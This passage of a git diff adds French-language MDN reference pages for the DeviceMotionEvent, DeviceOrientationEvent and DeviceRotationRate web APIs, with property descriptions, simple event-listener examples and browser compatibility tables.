+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile()}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/devicemotionevent/index.html b/files/fr/web/api/devicemotionevent/index.html
new file mode 100644
index 0000000000..099cc5b630
--- /dev/null
+++ b/files/fr/web/api/devicemotionevent/index.html
@@ -0,0 +1,153 @@
+---
+title: DeviceMotionEvent
+slug: Web/API/DeviceMotionEvent
+tags:
+  - API
+  - Device Orientation
+  - Experimental
+  - Firefox OS
+  - Mobile
+  - Motion
+  - Orientation
+  - TopicStub
+translation_of: Web/API/DeviceMotionEvent
+---
+<p>{{apiref("Device Orientation Events")}}{{SeeCompatTable}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p><code>DeviceMotionEvent</code> fournit aux développeurs Web des informations sur la vitesse des changements de position et d'orientation de l'appareil.</p>
+
+<div class="warning">
+<p><strong>Attention:</strong> Actuellement, Firefox et Chrome ne gèrent pas les coordonnées de la même manière. Faites attention à cela lorsque vous les utilisez.</p>
+</div>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("DeviceMotionEvent.DeviceMotionEvent","DeviceMotionEvent.DeviceMotionEvent()")}}</dt>
+ <dd>Crée un nouvel <code>DeviceMotionEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("DeviceMotionEvent.acceleration")}} {{readonlyinline}}</dt>
+ <dd>Un objet donnant l'accélération du dispositif sur les trois axes X, Y et Z. L'accélération est exprimée en <a href="https://en.wikipedia.org/wiki/Meter_per_second_squared" title="https://en.wikipedia.org/wiki/Meter_per_second_squared">m/s<sup>2</sup></a>.</dd>
+ <dt>{{domxref("DeviceMotionEvent.accelerationIncludingGravity")}} {{readonlyinline}}</dt>
+ <dd>Un objet donnant l'accélération de l'appareil sur les trois axes X, Y et Z avec l'effet de la gravité. L'accélération est exprimée en <a href="https://en.wikipedia.org/wiki/Meter_per_second_squared" title="https://en.wikipedia.org/wiki/Meter_per_second_squared">m/s<sup>2</sup></a>.</dd>
+ <dt>{{domxref("DeviceMotionEvent.rotationRate")}} {{readonlyinline}}</dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Un objet donnant le taux de changement d'orientation de l'appareil sur les trois axes d'orientation alpha, bêta et gamma.</span></span> Le taux de rotation est exprimé en degrés par seconde.</dd>
+ <dt>{{domxref("DeviceMotionEvent.interval")}} {{readonlyinline}}</dt>
+ <dd>Nombre représentant l'intervalle de temps, en millisecondes, auquel les données sont obtenues à partir de l'appareil.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js notranslate">window.addEventListener('devicemotion', function(event) {
+  console.log(event.acceleration.x + ' m/s2');
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Constructeur</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6")}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.2</td>
+  </tr>
+  <tr>
+   <td>Constructeur</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ event("deviceorientation") }}</li>
+ <li>{{ domxref("DeviceMotionEvent") }}</li>
+ <li>{{ event("devicemotion") }}</li>
+ <li><a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">Détection de l'orientation de l'appareil</a></li>
+ <li><a href="https://developer.mozilla.org/en/DOM/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Explication des données d'orientation et de mouvement</a></li>
+</ul>
diff --git a/files/fr/web/api/devicemotionevent/interval/index.html b/files/fr/web/api/devicemotionevent/interval/index.html
new file mode 100644
index 0000000000..0a6de296b7
--- /dev/null
+++ b/files/fr/web/api/devicemotionevent/interval/index.html
@@ -0,0 +1,53 @@
+---
+title: DeviceMotionEvent.interval
+slug: Web/API/DeviceMotionEvent/interval
+tags:
+  - API
+  - Propriété
+  - Reference
+translation_of: Web/API/DeviceMotionEvent/interval
+---
+<p>{{apiref("Device Orientation Events")}}</p>
+
+<p>La propriété <strong><code>interval</code></strong> renvoie la granularité temporelle, exprimée en millisecondes, avec laquelle les données relatives aux mouvements sont obtenues du matériel.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var interval = <em>instanceOfDeviceMotionEvent</em>.interval;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.DeviceMotionEvent.interval")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("DeviceMotionEvent") }}</li>
+ <li>{{ event("devicemotion") }}</li>
+ <li>{{ domxref("window.ondevicemotion") }}</li>
+ <li>{{ event("deviceorientation") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent") }}</li>
+ <li><a href="/fr/docs/WebAPI/Detecting_device_orientation">Detecting device orientation</a></li>
+</ul>
diff --git a/files/fr/web/api/devicemotionevent/rotationrate/index.html b/files/fr/web/api/devicemotionevent/rotationrate/index.html
new file mode 100644
index 0000000000..929f04f6fa
--- /dev/null
+++ b/files/fr/web/api/devicemotionevent/rotationrate/index.html
@@ -0,0 +1,70 @@
+---
+title: DeviceMotionEvent.rotationRate
+slug: Web/API/DeviceMotionEvent/rotationRate
+tags:
+  - API
+  - DOM
+  - Mobile
+  - Orientation
+  - Propriété
+  - Vitesse
+translation_of: Web/API/DeviceMotionEvent/rotationRate
+---
+<p>{{ ApiRef("Device Orientation Events") }}</p>
+
+<p>La propriété <code><strong>rotationRate</strong></code> renvoie la vitesse de rotation de l'appareil autour de chacun de ses axes en degrés par seconde.</p>
+
+<div class="note"><strong>Note </strong>: Si le matériel n'est pas capable de fournir cette information, la propriété renvoie <code>null</code>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var rates = <em>instanceOfDeviceMotionEvent</em>.rotationRate;
+</pre>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<p>La propriété <code>rotationRates</code> est un objet en lecture seule décrivant la vitesse de rotation d'un appareil autour de chacun de ses axes :</p>
+
+<dl>
+ <dt><code>alpha</code></dt>
+ <dd>La vitesse de rotation de l'appareil sur son axe Z ; c'est-à-dire déplacé autour d'une ligne perpendiculaire à l'écran.</dd>
+ <dt><code>beta</code></dt>
+ <dd>La vitesse de rotation de l'appareil sur son axe X ; c'est-à-dire de l'avant vers l'arrière.</dd>
+ <dt><code>gamma</code></dt>
+ <dd>La vitesse de rotation de l'appareil sur son axe Y ; c'est-à-dire d'un côté à l'autre.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.DeviceMotionEvent.rotationRate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("DeviceMotionEvent") }}</li>
+ <li>{{ event("devicemotion") }}</li>
+ <li>{{ domxref("window.ondevicemotion") }}</li>
+ <li>{{ event("deviceorientation") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent") }}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">Détecter l'orientation de l'appareil</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/DOM/Events/Les_donn%C3%A9es_d_orientation_et_de_mouvement_expliqu%C3%A9es" title="Orientation and motion data explained">Les données d'orientation et de mouvement expliquées</a></li>
+</ul>
diff --git a/files/fr/web/api/deviceorientationevent.absolute/index.html b/files/fr/web/api/deviceorientationevent.absolute/index.html
new file mode 100644
index 0000000000..3b1c6f593a
--- /dev/null
+++ b/files/fr/web/api/deviceorientationevent.absolute/index.html
@@ -0,0 +1,56 @@
+---
+title: DeviceOrientationEvent.absolute
+slug: Web/API/DeviceOrientationEvent.absolute
+translation_of: Web/API/DeviceOrientationEvent/absolute
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Sommaire</h2>
+
+<p>Indique si l'appareil partage des données en référentiel absolut c'est à dire sur avec des cordonnées issu du référentiel terrestre, ou si il partage des données utilisant un référentiel arbitraire déterminé par l'appareil. Voir <a href="/en/DOM/Orientation_and_motion_data_explained" title="Orientation et mouvement expliqué">Orientation et mouvement expliqué</a> pour plus de détails.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval">var absolute = <em>instanceOfDeviceOrientationEvent</em>.absolute;
+</pre>
+
+<p><code>DeviceOrientationEvent.absolute</code> retourne un booléen :</p>
+
+<ul>
+ <li><code>true</code> : si les données d'orientation dans <code>instanceOfDeviceOrientationEvent</code> est proposer dans un référentiel terrestre.</li>
+ <li><code>false</code> : si les données d'orientation utilisent un référentiel arbitraire.</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statuts</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_entre_les_navigateurs">Compatibilité entre les navigateurs</h2>
+
+<p>{{ page("/en-US/docs/Web/API/DeviceOrientationEvent","Browser_compatibility") }}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("DeviceOrientationEvent") }}</li>
+ <li><a href="/en/Detecting_device_orientation" title="Detecting device orientation">Detecting device orientation</a></li>
+ <li><a href="/en/DOM/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li>
+ <li>{{ domxref("window.ondeviceorientation") }}</li>
+</ul>
+
+<p>{{ event("deviceorientation") }}</p>
diff --git a/files/fr/web/api/deviceorientationevent/index.html b/files/fr/web/api/deviceorientationevent/index.html
new file mode 100644
index 0000000000..0dfe1510fa
--- /dev/null
+++ b/files/fr/web/api/deviceorientationevent/index.html
@@ -0,0 +1,120 @@
+---
+title: DeviceOrientationEvent
+slug: Web/API/DeviceOrientationEvent
+tags:
+  - B2G
+  - Device Orientation
+  - Experimental
+  - Firefox OS
+  - Mobile
+  - Orientation
+  - WebAPI
+  - events
+  - évènements
+translation_of: Web/API/DeviceOrientationEvent
+---
+<p>{{ApiRef}}{{SeeCompatTable}}</p>
+<h2 id="Sommaire">Sommaire</h2>
+<p>L'évènement <code>DeviceOrientationEvent</code> met à la disposition du développeur des informations sur l'orientation de l'appareil visitant une page Web</p>
+<div class="warning">
+ <p><strong>Attention :</strong> à l'heure actuelle, Firefox et Chrome ne gèrent pas les cordonnées de la même façon. Tenez-en compte lors de l'utilisation de cette API.</p>
+</div>
+<h2 id="Propriétés">Propriétés</h2>
+<dl>
+ <dt>
+  {{domxref("DeviceOrientationEvent.absolute")}} {{readonlyinline}}</dt>
+ <dd>
+  Un booléen, indiquant si l'appareil partage les informations sur son orientation absolue.</dd>
+ <dt>
+  {{domxref("DeviceOrientationEvent.alpha")}} {{readonlyinline}}</dt>
+ <dd>
+  Un nombre, représentant le mouvement de l'appareil sur l'axe « z » exprimé en degrés sur une échelle de 0° à 360°.</dd>
+ <dt>
+  {{domxref("DeviceOrientationEvent.beta")}} {{readonlyinline}}</dt>
+ <dd>
+  Un Nombre représentant le déplacement de l'appareil sur l'axe « x », exprimé en degrés sur une échelle de -180° à 180°.</dd>
+ <dt>
+  {{domxref("DeviceOrientationEvent.gamma")}} {{readonlyinline}}</dt>
+ <dd>
+  Un nombre représentant le déplacement de l'appareil sur l'axe « y », exprimé en degrés sur une échelle de -90° à 90°.</dd>
+</dl>
+<h2 id="Exemple">Exemple</h2>
+<pre class="brush: js">window.addEventListener('deviceorientation', function(event) {
+  console.log("z : " + event.alpha + "\n x : " + event.beta + "\n y : " + event.gamma);
+});</pre>
+<h2 id="Spécifications">Spécifications</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité_entre_les_navigateurs">Compatibilité entre les navigateurs</h2>
+<p>Compatibilité pour DeviceOrientationEvent:</p>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Technologie</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>7.0</td>
+    <td>3.6 (mozOrientation),<br>
+     6</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Technologie</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>3.0</td>
+    <td>3.6 (mozOrientation),<br>
+     6</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>4.2</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h3 id="Notes_spécifiques_à_Gecko">Notes spécifiques à Gecko</h3>
+<p>Firefox 3.6, 4, et 5 supportent <a href="/en-US/DOM/MozOrientation" title="MozOrientation">mozOrientation </a>au lieu de l'interface  standard <code>DeviceOrientationEvent.</code></p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li>{{ event("deviceorientation") }}</li>
+ <li>{{ domxref("DeviceMotionEvent") }}</li>
+ <li>{{ event("devicemotion") }}</li>
+ <li><a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">Detecting device orientation</a></li>
+ <li><a href="https://developer.mozilla.org/en/DOM/Orientation_and_motion_data_explained" title="Orientation and motion data explained">Orientation and motion data explained</a></li>
+</ul>
diff --git a/files/fr/web/api/devicerotationrate/alpha/index.html b/files/fr/web/api/devicerotationrate/alpha/index.html
new file mode 100644
index 0000000000..c1975c26c8
--- /dev/null
+++ b/files/fr/web/api/devicerotationrate/alpha/index.html
@@ -0,0 +1,102 @@
+---
+title: DeviceRotationRate.alpha
+slug: Web/API/DeviceRotationRate/alpha
+tags:
+  - API
+  - DOM
+  - Mobile
+  - Propriétés
+  - Vitesse
+  - axes
+  - rotation
+  - z
+translation_of: Web/API/DeviceMotionEventRotationRate/alpha
+---
+<p>{{ ApiRef("Device Orientation Events") }}</p>
+
+<p>Cette propriété indique la vitesse de rotation autour de l'axe Z -- en degrés par seconde -- dans un objet {{ domxref("DeviceRotationRate") }}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>alpha</em> = <em>deviceRotationRate</em>.alpha;
+</pre>
+
+<p>Cette propriété est en lecture seule.</p>
+
+<h3 id="Return_Value" name="Return_Value">Valeur retournée</h3>
+
+<dl>
+ <dt><code>alpha</code></dt>
+ <dd>Un <code>double</code> indiquant la vitesse de rotation autour de l'axe Z, en degrés par seconde. Voir <a href="https://developer.mozilla.org/fr/docs/WebAPI/Detecting_device_orientation#Accelerometer_values_explained" title="en/Detecting device orientation#Accelerometer values explained">Détecter l'orientation de l'appareil</a> pour plus de détails.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/devicerotationrate/beta/index.html b/files/fr/web/api/devicerotationrate/beta/index.html
new file mode 100644
index 0000000000..10ccec2055
--- /dev/null
+++ b/files/fr/web/api/devicerotationrate/beta/index.html
@@ -0,0 +1,104 @@
+---
+title: DeviceRotationRate.beta
+slug: Web/API/DeviceRotationRate/beta
+tags:
+  - API
+  - DOM
+  - Orientation
+  - Propriétés
+  - Vitesse
+  - axes
+  - rotation
+  - x
+translation_of: Web/API/DeviceMotionEventRotationRate/beta
+---
+<p>{{ ApiRef("Device Orientation Events") }}</p>
+
+<p>Cette propriété indique la vitesse de rotation autour de l'axe X -- en degrés par seconde -- dans un objet {{ domxref("DeviceRotationRate") }}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>beta</em> = <em>deviceRotationRate</em>.beta;
+</pre>
+
+<p>Cette propriété est en lecture seule.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<dl>
+ <dt><code>beta</code></dt>
+ <dd>Un <code>double</code> indiquant la vitesse de rotation autour de l'axe X, en degrés par seconde. Voir <a href="https://developer.mozilla.org/fr/docs/WebAPI/Detecting_device_orientation#Accelerometer_values_explained" title="en/Detecting device orientation#Accelerometer values explained">Détecter l'orientation de l'appareil</a> pour plus de détails.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/devicerotationrate/gamma/index.html b/files/fr/web/api/devicerotationrate/gamma/index.html
new file mode 100644
index 0000000000..4a61ef9f4d
--- /dev/null
+++ b/files/fr/web/api/devicerotationrate/gamma/index.html
@@ -0,0 +1,104 @@
+---
+title: DeviceRotationRate.gamma
+slug: Web/API/DeviceRotationRate/gamma
+tags:
+  - API
+  - DOM
+  - Mobile
+  - Orientation
+  - Propriétés
+  - axes
+  - rotation
+  - 'y'
+translation_of: Web/API/DeviceMotionEventRotationRate/gamma
+---
+<p>{{ ApiRef("Device Orientation Events") }}</p>
+
+<p>Cette propriété indique la vitesse de rotation autour de l'axe Y -- en degrés par seconde -- dans un objet {{ domxref("DeviceRotationRate") }}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>gamma</em> = <em>deviceRotationRate</em>.gamma;
+</pre>
+
+<p>Cette propriété est en lecture seule.</p>
+
+<h3 id="Return_Value" name="Return_Value">Valeur retournée</h3>
+
+<dl>
+ <dt><code>gamma</code></dt>
+ <dd>Un <code>double</code> indiquant la vitesse de rotation autour de l'axe Y, en degrés par seconde. Voir <a href="https://developer.mozilla.org/fr/docs/WebAPI/Detecting_device_orientation#Accelerometer_values_explained" title="en/Detecting device orientation#Accelerometer values explained">Détecter l'orientation d'un appareil</a> pour plus de détails.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/devicerotationrate/index.html b/files/fr/web/api/devicerotationrate/index.html
new file mode 100644
index 0000000000..e7b54fafd5
--- /dev/null
+++ b/files/fr/web/api/devicerotationrate/index.html
@@ -0,0 +1,99 @@
+---
+title: DeviceRotationRate
+slug: Web/API/DeviceRotationRate
+tags:
+  - API
+  - Coordonnées
+  - DOM
+  - Mobile
+  - Vitesse
+  - rotation
+translation_of: Web/API/DeviceMotionEventRotationRate
+---
+<p>{{ ApiRef("Device Orientation Events") }} {{SeeCompatTable}}</p>
+
+<p>Un objet <code>DeviceRotationRate</code> fournit une information sur la vitesse avec laquelle un appareil est en rotation autour des 3 axes.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{ domxref("DeviceRotationRate.alpha") }} {{readonlyInline}}</dt>
+ <dd>La vitesse de rotation autour de l'axe Z, en degrés par seconde.</dd>
+ <dt>{{ domxref("DeviceRotationRate.beta") }} {{readonlyInline}}</dt>
+ <dd>La vitesse de rotation autour de l'axe X, en degrés par seconde.</dd>
+ <dt>{{ domxref("DeviceRotationRate.gamma") }} {{readonlyInline}}</dt>
+ <dd>La vitesse de rotation autour de l'axe Y, en degrés par seconde.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
